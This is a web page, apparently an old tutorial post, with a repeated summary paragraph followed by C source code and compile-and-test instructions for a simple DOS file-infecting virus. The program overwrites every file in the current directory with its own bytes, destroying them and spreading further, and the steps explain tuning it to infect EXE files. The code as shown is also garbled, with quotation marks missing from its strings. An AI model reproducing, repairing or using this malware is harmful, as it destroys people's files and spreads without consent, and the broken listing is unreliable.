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How To Create A Computer Virus

This document provides source code and instructions for creating a simple computer virus in C. The virus, upon execution, copies itself into other files in the same directory, infecting them. As each infected file is run, it will spread the virus by copying itself into other files. The document explains how to compile the virus source code into an executable file that can infect other files when run in a directory.

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How To Create A Computer Virus

This document provides source code and instructions for creating a simple computer virus in C. The virus, upon execution, copies itself into other files in the same directory, infecting them. As each infected file is run, it will spread the virus by copying itself into other files. The document explains how to compile the virus source code into an executable file that can infect other files when run in a directory.

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How to Create a Computer Virus?

Submitted by Srikanth on Friday, 7 December 200781 Comments

This program is an example of how to create a virus in c.This


program demonstrates a simple virus program which upon execution (Running) creates a copy of
itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is
also capable of spreading the infection to another file and so on.Heres the source code of the
virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(*.*,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],rb);
host=fopen(ffblk.ff_name,rb+);
if(host==NULL) goto next;
x=89088;

printf(Infecting %s\n,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(DONE! (Total Files Infected= %d),a);
end=clock();
printf(TIME TAKEN=%f SEC\n,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL
THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR ITS
SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE
SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect


HOW TO TEST:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW
FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
Thats it

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